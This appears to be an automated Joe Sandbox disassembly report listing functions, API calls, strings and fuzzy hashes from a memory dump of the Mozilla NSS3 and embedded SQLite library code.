Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 086c545a01c9b431f8258f0079901648604b8394b67c4f0a6988232e3857fc37
Instruction ID: 19d59aaa3bed236ba2edea34119099e63c3fc0950243d06c82fabbcd3e940d37
Opcode Fuzzy Hash: 086c545a01c9b431f8258f0079901648604b8394b67c4f0a6988232e3857fc37
Instruction Fuzzy Hash: 5B412871B412908FDF109FF9EC89A4B3BB5AB4B358F040229E529C3B44D730995ACB96

Function 6CAEFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAEFF00

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CAEFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CAEFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CAEFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAEFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAEFF8C

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 3a432e84b5009a043e2d11f3f712ded9fcf862ecdf5921328fe20e66830ad63a
Instruction ID: 784037a93267fb24b0ecbcef71e519f3e75f8782568c89b65cf3452e1b735328
Opcode Fuzzy Hash: 3a432e84b5009a043e2d11f3f712ded9fcf862ecdf5921328fe20e66830ad63a
Instruction Fuzzy Hash: 883126F29013629BE7108E58AC40B5B76A8EF5A348F18013DFD2897740F771D99AC7D1

Function 6CAF3CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CAF38BD), ref: 6CAF3CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CAF38BD), ref: 6CAF3CD1

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CAF38BD), ref: 6CAF3CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CBCB369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CAF38BD), ref: 6CAF3D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CAF38BD), ref: 6CAF3D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CBCB369,000000FF,00000000,00000000,00000000,6CAF38BD), ref: 6CAF3D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CAF3D47
free.MOZGLUE(00000000), ref: 6CAF3D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CAF38BD), ref: 6CAF3D6F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 8dc20dcb89cd1419db5fb52e3007f653684ead510eac6edb4549a31b92973df7
Instruction ID: 2ee70c8b9eb897520178ab487718e0c45270a62f9b95e37bde70bdb6758cd7d3
Opcode Fuzzy Hash: 8dc20dcb89cd1419db5fb52e3007f653684ead510eac6edb4549a31b92973df7
Instruction Fuzzy Hash: 8221A4B570215237FB20667B5C09E7B39ACDB86AE8B180635B939D76C0DA70C84182B2

Function 6CAF4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CAF536F,00000022,?,?,00000000,?), ref: 6CAF4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CAF4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CAF4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CAF4FAE
free.MOZGLUE(?), ref: 6CAF4FC8

Strings

%s=%s, xrefs: 6CAF4F89
%s=%c%s%c, xrefs: 6CAF4FA9

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 6b51b0feb658ee2776ea68f8b8103c73789fddde3fee6022521c6944fe23be4b
Instruction ID: eb4e34d0b89560aa584bb1bcd8cedf0fe9c18e9201b7e93b1a8aff155174dd02
Opcode Fuzzy Hash: 6b51b0feb658ee2776ea68f8b8103c73789fddde3fee6022521c6944fe23be4b
Instruction Fuzzy Hash: 26513631E442868BFB01CA69C6907FE7BF59F46748F1C8125F8B4A7A40D339888787A1

Function 6CA37D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA37E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA37E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CA37EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA37F2E

Strings

database corruption, xrefs: 6CA37EE2, 6CA37F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA37ED8, 6CA37F08, 6CA37F19
%s at line %d of [%.10s], xrefs: 6CA37EE7, 6CA37F28

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 25f95f5d8adae4a635af13ba989c49a33df84879d1d3dd4c192ffc62173f6299
Instruction ID: 56edc8b5e6b07f2c2de792e382cceb92b95aba65bce65b0dc816ae91294026e5
Opcode Fuzzy Hash: 25f95f5d8adae4a635af13ba989c49a33df84879d1d3dd4c192ffc62173f6299
Instruction Fuzzy Hash: 6861C374A04255DFCB05CF29C9A0BAA37B2BF45318F2854A8EC09DBB51D730EC95CB91

Function 6CA1FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA1FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA1FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1FE83

Part of subcall function 6CA1FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CA1FEFA
Part of subcall function 6CA1FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CA1FF3B

Strings

database corruption, xrefs: 6CA1FD6E, 6CA1FE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1FD64, 6CA1FE26
%s at line %d of [%.10s], xrefs: 6CA1FD73, 6CA1FE35

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 3354649af240eec042a28b419bdb484264f154f5e1b5b1e6035a1f3d461e4aba
Instruction ID: f09c0e05199f4e97ba3bc2f40e00f6c8530b8e4ad8ec7501beb06f62f771699c
Opcode Fuzzy Hash: 3354649af240eec042a28b419bdb484264f154f5e1b5b1e6035a1f3d461e4aba
Instruction Fuzzy Hash: 5751A074A042458FDF04CFA9C990AAEB7B5FF48318F14406DE905ABB52E330EC94CB90

Function 6CB62F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB62FFD
sqlite3_initialize.NSS3 ref: 6CB63007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB63032
sqlite3_mprintf.NSS3(6CBCAAF9,?), ref: 6CB63073
sqlite3_free.NSS3(?), ref: 6CB630B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CB630C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CB630BB

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 35f885d73b44d2e4a82c9c8c316bb0fc72c1936f1da8feec9288a5a79d265f2a
Instruction ID: 981dea8f90260e12e2211309d7b24748ff8d46f8dee7ab9bb4643333054a1609
Opcode Fuzzy Hash: 35f885d73b44d2e4a82c9c8c316bb0fc72c1936f1da8feec9288a5a79d265f2a
Instruction Fuzzy Hash: 6F419575600686ABDB10CF26D840A4AB7B5FF44368F148528EC5987F40E731F999CBD2

Function 6CAA8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CAB124D,00000001), ref: 6CAA8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CAB124D,00000001), ref: 6CAA8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CAB124D,00000001), ref: 6CAA8D73
PR_Unlock.NSS3(?,?,?,?,?,6CAB124D,00000001), ref: 6CAA8D8C

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CAB124D,00000001), ref: 6CAA8DBA

Strings

KRAM, xrefs: 6CAA8CF9
KRAM, xrefs: 6CAA8D3E

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: ef4d4b2d997fdcef4d06756bbdb2b1db7d3bfe7367b2b70a074e9d515b4c0cfd
Instruction ID: db6c2010631f3c9482132eaf53e4cee89de6791ad79f9f44610a021c7391b55e
Opcode Fuzzy Hash: ef4d4b2d997fdcef4d06756bbdb2b1db7d3bfe7367b2b70a074e9d515b4c0cfd
Instruction Fuzzy Hash: 1121A1B5A046418FCB40EFB8C58466EBBF0FF45308F19896AD89887701E731D896CB91

Function 6CACACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CACACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAD23

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAD39

Strings

hSession = 0x%x, xrefs: 6CACACFE, 6CACAD0E
(CK_INVALID_HANDLE), xrefs: 6CACAD1C
C_MessageDecryptFinal, xrefs: 6CACACE1

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 2f37baea76cf6db1ccb0af1960f226fc92e99a1e0be7124483430b2bd34baf72
Instruction ID: a7a78c75e4cc283c10151f68924c533765be67a7f480da43cfaf12161aa6081e
Opcode Fuzzy Hash: 2f37baea76cf6db1ccb0af1960f226fc92e99a1e0be7124483430b2bd34baf72
Instruction Fuzzy Hash: F22107757011949FDB019B68FD88BBE3376EB42719F044029E81AA7711DF349D89C793

Function 6CBA0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CBA0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CBA0EFA

Part of subcall function 6CA8AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA8AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F2B

Strings

Aborting, xrefs: 6CBA0EB3
Assertion failure: %s, at %s:%d, xrefs: 6CBA0ED9, 6CBA0EE5, 6CBA0F06, 6CBA0F0B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: fe397c8265e30a4469baafcf9fae4670aac68fa53fc9398eb3936892bd7df468
Instruction ID: 5e2c38b9b99fcc8d319b9dcbf6573a12f9667f1fe011525f81594e0766778d72
Opcode Fuzzy Hash: fe397c8265e30a4469baafcf9fae4670aac68fa53fc9398eb3936892bd7df468
Instruction Fuzzy Hash: 3B01D2B6900254BBDF01AFA4EC45CAB3F3DEF4A7A4F014024FD0A97711D676E96087A2

Function 6CB64D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB64DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB64DE0

Strings

API call with %s database connection pointer, xrefs: 6CB64DBD
misuse, xrefs: 6CB64DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB64DCB
%s at line %d of [%.10s], xrefs: 6CB64DDA
invalid, xrefs: 6CB64DB8

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c1797e4154285c04c24db9288b04c85e2158e8619e8147000b9a9818d54af218
Instruction ID: 0a2a62aaf0670fd65ed8a54086544df78be51e0d2a6e72249050b007700106bd
Opcode Fuzzy Hash: c1797e4154285c04c24db9288b04c85e2158e8619e8147000b9a9818d54af218
Instruction Fuzzy Hash: 63F0B419F14DF96BD6008126DE31F8637598F01369F5609A1EE047BE62D606AC9886C3

Function 6CB64DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB64E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB64E4D

Strings

API call with %s database connection pointer, xrefs: 6CB64E2A
misuse, xrefs: 6CB64E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB64E38
%s at line %d of [%.10s], xrefs: 6CB64E47
invalid, xrefs: 6CB64E25

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 28787f1ce3a0c8afc38f54aeb8ef05c0a9acf7d01176ddad56e6fdbf7b9798e4
Instruction ID: f42d32b3d6d885efa2d07d8d946620855c4eb1b40715b25f558a5db408837ef4
Opcode Fuzzy Hash: 28787f1ce3a0c8afc38f54aeb8ef05c0a9acf7d01176ddad56e6fdbf7b9798e4
Instruction Fuzzy Hash: A6F02719F44DE82BEA148026DD31FC73789CB03379F5985A1EA0877F92D309986146D3

Function 6CA99FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA9A086
EnterCriticalSection.KERNEL32(?), ref: 6CA9A09B
PR_Unlock.NSS3(?), ref: 6CA9A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9A0E9
TlsGetValue.KERNEL32 ref: 6CA9A11B
EnterCriticalSection.KERNEL32(?), ref: 6CA9A12F
PR_Unlock.NSS3(?), ref: 6CA9A148

Part of subcall function 6CAB1A40: PR_Now.NSS3(?,00000000,6CA928AD,00000000,?,6CAAF09A,00000000,6CA928AD,6CA993B0,?,6CA993B0,6CA928AD,00000000,?,00000000), ref: 6CAB1A65

Part of subcall function 6CAB1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CAB4126,?), ref: 6CAB1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9A1A3

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 55640c0ca8e047276602951b357cdaefe8a48a960200369bec9701f2bfe24c88
Instruction ID: dee08eb575aaab6cc6f57e32f65137a03c11356fa861d5418cc3ef1130c5d930
Opcode Fuzzy Hash: 55640c0ca8e047276602951b357cdaefe8a48a960200369bec9701f2bfe24c88
Instruction Fuzzy Hash: 6D5108B5E006009BEB109F79DD45AAB77FAAF85348B18402ADC2997701EB31DCC9C791

Function 6CAD0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?,?,00000000,?,?), ref: 6CAD0CB3

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

